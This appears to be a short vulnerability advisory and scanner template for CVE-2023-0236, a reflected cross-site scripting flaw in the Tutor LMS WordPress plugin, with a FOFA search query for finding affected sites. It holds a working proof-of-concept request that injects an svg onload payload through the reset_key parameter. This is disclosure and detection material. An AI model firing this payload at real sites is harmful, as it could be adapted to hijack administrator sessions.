The Tutor LMS WordPress plugin before 2.0.10 does not sanitise and
escape the reset_key and user_id parameters before outputting then back
in attributes, leading to Reflected Cross-Site Scripting which could be used
against high privilege users such as admin.
fofa: app="Tutor LMS"
PoC代码[已公开]
id: CVE-2023-0236
info:
name: Tutor LMS < 2.0.10 - Cross Site Scripting WordPress
author: 不动明王
severity: medium
verified: true
description: |-
The Tutor LMS WordPress plugin before 2.0.10 does not sanitise and
escape the reset_key and user_id parameters before outputting then back
in attributes, leading to Reflected Cross-Site Scripting which could be used
against high privilege users such as admin.
fofa: app="Tutor LMS"
reference:
- https://wpscan.com/vulnerability/503835db-426d-4b49-85f7-c9a20d6ff5b8
rules:
r0:
request:
method: GET
path: /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd
expression: response.status == 200 && response.body.bcontains(b"<svg onload=prompt(document.domain)>") && response.body.bcontains(b"fonts") && response.body.bcontains(b"extensions")
expression: r0()